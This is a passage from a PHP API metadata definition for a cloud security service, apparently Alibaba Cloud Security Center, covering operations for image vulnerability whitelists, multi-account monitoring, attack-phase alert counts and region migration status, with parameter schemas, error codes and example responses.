region ID of the instance. Valid values:'."\n" ."\n" .'* **cn-hangzhou**: International'."\n" .'* **ap-southeast-1**: Singapore'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'ServiceRoleNotEnabled', 'errorMessage' => 'Service role not enabled.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\"\\n}","type":"json"}]', 'title' => 'CreateServiceTrail', ], 'DeleteBinarySecurityPolicy' => [ 'summary' => 'Deletes a binary security policy from the container signature feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '42.120.XXX.XXX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the binary security policy.'."\n", 'type' => 'string', 'required' => false, 'example' => 'policy-auto-bfu7pm', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A6CFADC0-1167-521A-9284-8CD8034C****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A6CFADC0-1167-521A-9284-8CD8034C****\\"\\n}","type":"json"}]', 'title' => 'DeleteBinarySecurityPolicy', ], 'DescribeMonitorAccounts' => [ 'summary' => 'Queries the list of accounts that are added to the multi-account management feature as members.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92140', 'abilityTreeNodes' => [ 'FEATUREsasFVYNUW', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', ], 'AccountIds' => [ 'description' => 'The IDs of the members.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the member.'."\n", 'type' => 'string', 'example' => '179787636344****', ], ], 'AccountIdInfos' => [ 'description' => 'List of member account information.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'AccountId' => [ 'description' => 'The Alibaba Cloud account ID of the member.'."\n", 'type' => 'string', 'example' => '119593010538****', ], 'OperatorUid' => [ 'description' => 'The account ID of the operator.'."\n", 'type' => 'string', 'example' => '106635707417****', ], 'AddTime' => [ 'description' => 'The time when it was added to the control list, in timestamp format with second precision.', 'type' => 'integer', 'format' => 'int64', 'example' => '1760520684000', ], 'SasVersion' => [ 'description' => 'The purchased version of Cloud Security Center. Values:'."\n" .'- **0** or **1**: Free Edition '."\n" .'- **2** or **3**: Enterprise Edition'."\n" .' - **5**: Advanced Edition '."\n" .'- **6**: Anti-Virus Edition '."\n" .'- **7**: Flagship Edition', 'type' => 'string', 'example' => '7', ], 'PostBasicService' => [ 'description' => 'Basic service switch. Values: '."\n" .'- **0**: Off '."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"AccountIds\\": [\\n \\"179787636344****\\"\\n ],\\n \\"AccountIdInfos\\": [\\n {\\n \\"AccountId\\": \\"119593010538****\\",\\n \\"OperatorUid\\": \\"106635707417****\\",\\n \\"AddTime\\": 1760520684000,\\n \\"SasVersion\\": \\"7\\",\\n \\"PostBasicService\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeMonitorAccounts', ], 'AddImageVulWhiteList' => [ 'summary' => 'Adds image vulnerabilities to the whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', ], 'parameters' => [ [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The object on which you want to perform the operation. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **type**: the object type. The value is fixed to repo.'."\n" .'* **target**: the object content. The value is in the Namespace/Image repository format.'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"sas_test/script_0209\\",\\"sas_test/script\\"]}', ], ], [ 'name' => 'Whitelist', 'in' => 'query', 'schema' => [ 'description' => 'The whitelist. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **Type**: the vulnerability type. Valid values: cve and sca.'."\n" .'* **Name**: the name of the vulnerability that is specified in Common Vulnerabilities and Exposures (CVE).'."\n" .'* **AliasName**: the alias of the vulnerability that is specified in CVE.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"Type\\":\\"sca\\",\\"Name\\":\\"imgsca:java:spring-core:AVD-2022-1124599\\",\\"AliasName\\":\\"Spring Framework JDK >= 9 (CVE-2022-22965)\\"}]', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: system vulnerability'."\n" .'* **sca**: application vulnerability'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason why you add the vulnerability to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'already config in another way', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: zh. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the whitelist. Valid values:'."\n" .'- **image**'."\n" .'- **agentless**', 'type' => 'string', 'required' => false, 'example' => 'image', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the image vulnerability is added to the whitelist. Valid values:'."\n" ."\n" .'* **true**: The image vulnerability is added to the whitelist.'."\n" .'* **false**: The image vulnerability is not added to the whitelist.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. A value of **200** indicates that the request was successful. Other values indicate that the request failed. You can identify the cause of the failure based on the value of this parameter.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'AddImageVulWhiteList', ], 'DescribeImageVulWhiteList' => [ 'summary' => 'Queries the whitelist of image vulnerabilities.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '161674', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'description' => 'The alias of the vulnerability that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CVE-2007-5686:rpath_linux', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the whitelist. Valid values:'."\n" .'- **image**'."\n" .'- **agentless**', 'type' => 'string', 'required' => false, 'example' => 'image', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'ImageVulWhitelist' => [ 'description' => 'The information about the whitelist of image vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'scan:AVD-2022-953356', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability that is specified in Common Vulnerabilities and Exposures (CVE).'."\n", 'type' => 'string', 'example' => 'CVE-2019-19906:in_sasl_add_string', ], 'Target' => [ 'description' => 'The object on which the query is performed. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **type**: the object type. The value is fixed to repo.'."\n" .'* **target**: the object content. The value is in the Namespace/Image repository format.'."\n", 'type' => 'string', 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"sas_test/script_0209\\",\\"sas_test/script\\"]}', ], 'Reason' => [ 'description' => 'The reason why the vulnerability is added to the whitelist.', 'type' => 'string', 'example' => 'already config in another way', ], 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: system vulnerability'."\n" .'* **sca**: application vulnerability'."\n", 'type' => 'string', 'example' => 'sca', ], 'Id' => [ 'description' => 'The primary key ID of the vulnerability.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '34032043', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. A value of **200** indicates that the request was successful. Other values indicate that the request failed. You can identify the cause of the failure based on the value of this parameter.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '911025D0-3D1E-5213-A18A-37EA0C92****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'TimeCost' => [ 'description' => 'The amount of time that was consumed to process the request. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ImageVulWhitelist\\": [\\n {\\n \\"Name\\": \\"scan:AVD-2022-953356\\",\\n \\"AliasName\\": \\"CVE-2019-19906:in_sasl_add_string\\",\\n \\"Target\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"target\\\\\\\\\\\\\\":[\\\\\\\\\\\\\\"sas_test/script_0209\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"sas_test/script\\\\\\\\\\\\\\"]}\\",\\n \\"Reason\\": \\"already config in another way\\",\\n \\"Type\\": \\"sca\\",\\n \\"Id\\": 34032043\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"911025D0-3D1E-5213-A18A-37EA0C92****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', 'title' => 'DescribeImageVulWhiteList', ], 'QueryAttackCount' => [ 'summary' => 'Queries the number of alert events in each attack phase.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'From', 'in' => 'formData', 'schema' => [ 'description' => 'The ID of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'Lang', 'in' => 'formData', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '175.0.XX.XX', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the asset.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of assets.'."\n", 'type' => 'string', 'required' => false, 'example' => '0c1714dc-f7a3-4265-8364-7aa3fce8****,1cc45e7d-7698-4b2c-89d8-e8cba407****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'An array that consists of the numbers of alert events in different attack phases.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about alert events in the attack phase.'."\n", 'type' => 'object', 'properties' => [ 'TacticId' => [ 'description' => 'The stage ID of the ATT\\&CK attack.'."\n", 'type' => 'string', 'example' => 'TA0043', ], 'TacticType' => [ 'description' => 'The type of stage of the ATT\\&CK attack.'."\n", 'type' => 'string', 'example' => 'Data collection'."\n", ], 'EventCount' => [ 'description' => 'The number of times that the alert is triggered.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '28', ], ], ], ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Success' => [ 'description' => 'Indicates whether exceptions are handled. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D4BE7D77-5B02-5126-A684-A73F6CD3XXXX', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"TacticId\\": \\"TA0043\\",\\n \\"TacticType\\": \\"数据收集\\",\\n \\"EventCount\\": 28\\n }\\n ],\\n \\"Count\\": 0,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"D4BE7D77-5B02-5126-A684-A73F6CD3XXXX\\"\\n}","type":"json"}]', 'title' => 'QueryAttackCount', ], 'GetSwitchRegionDetail' => [ 'summary' => 'Queries the details of a migration operation. For example, you can query the progress and status of a migration operation after you migrate a server from a region in the Chinese mainland to the Singapore region.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '162834', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the migration operation. Valid values:'."\n" ."\n" .'* **sg_switch**: the migration of a server from a region in the Chinese mainland to the Singapore region.'."\n" .'* **sls_meta_version_switch_stage\\_1**: the upgrade of log dictionaries.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sg_switch', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'IsAgree' => [ 'description' => 'Indicates whether the migration is approved.'."\n", 'type' => 'string', 'example' => 'true', ], 'GmtIsAgreeModified' => [ 'description' => 'The time when the permissions were modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1692858597000', ], 'IsNoticed' => [ 'description' => 'Indicates whether the notification is sent.'."\n", 'type' => 'string', 'example' => 'YES', ], 'GmtNoticed' => [ 'description' => 'The notification time.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1692858597000', ], 'RegionStatus' => [ 'description' => 'The status of the switching to the region.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'EcsCount' => [ 'description' => 'The number of ECS instances.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '27', ], 'RegionId' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'example' => 'us-east-1', ], 'Status' => [ 'description' => 'The migration status. Valid values:'."\n" ."\n" .'* **0**: pending'."\n" .'* **1**: successful'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'GmtPlanSwitchTime' => [ 'description' => 'The time when the migration is scheduled.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1692858597000', ], ], ], ], 'NeedSwitch' => [ 'description' => 'Specifies whether to switch.', 'type' => 'boolean', 'example' => 'true', ], 'NeedNotice' => [ 'description' => 'Specifies whether to notify the account.', 'type' => 'boolean', 'example' => 'true', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"IsAgree\\": \\"true\\",\\n \\"GmtIsAgreeModified\\": 1692858597000,\\n \\"IsNoticed\\": \\"YES\\",\\n \\"GmtNoticed\\": 1692858597000,\\n \\"RegionStatus\\": [\\n {\\n \\"EcsCount\\": 27,\\n \\"RegionId\\": \\"us-east-1\\",\\n \\"Status\\": 0,\\n \\"GmtPlanSwitchTime\\": 1692858597000\\n }\\n ],\\n \\"NeedSwitch\\": true,\\n \\"NeedNotice\\": false\\n },\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\"\\n}","type":"json"}]', 'title' => 'GetSwitchRegionDetail', ], 'GetAuthVersionStatistic' => [ 'summary' => 'Queries the statistics about the numbers of assets protected by each edition of Security Center.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '2CA2BDF6-F3BD-51A4-BAAC-30B02F7A3FBB', ], 'Statistics' => [ 'description' => 'The statistics about the numbers of assets protected by each edition of Security Center.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'AuthVersion' => [ 'description' => 'The edition of Security Center. Valid values:'."\n" ."\n" .'* **1**: Basic edition (Unauthorized)'."\n" .'* **6**: Anti-virus edition'."\n" .'* **5**: Advanced edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **7**: Ultimate edition'."\n" .'* **10**: Value-added Plan edition'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'Count' => [ 'description' => 'The number of authorized servers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2CA2BDF6-F3BD-51A4-BAAC-30B02F7A3FBB\\",\\n \\"Statistics\\": [\\n {\\n \\"AuthVersion\\": 6,\\n \\"Count\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetAuthVersionStatistic', ], 'UpdateImageVulWhitelistTarget' => [ 'summary' => 'Updates the vulnerability whitelist of an image.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The whitelist ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2000083', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The vulnerability that you want to add to the whitelist. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **type**: The type of the vulnerability. The value is fixed to repo.'."\n" .'* **target**: The content of the vulnerability. The value is in the format of Namespace/Image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"sas_test/script_0209\\",\\"sas_test/script\\"]}', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason why you add the vulnerability to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ignore', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the whitelist. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **agentless**'."\n", 'type' => 'string', 'required' => false, 'example' => 'image', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the image vulnerability is added to the whitelist. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9F4E6157-9600-5588-86B9-38F09067****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UpdateImageVulWhitelistTarget', ], 'DeleteImageVulWhitelist' => [ 'summary' => 'Deletes an image vulnerability whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Ids', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the whitelist. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '123', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the image vulnerability whitelist is deleted. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], 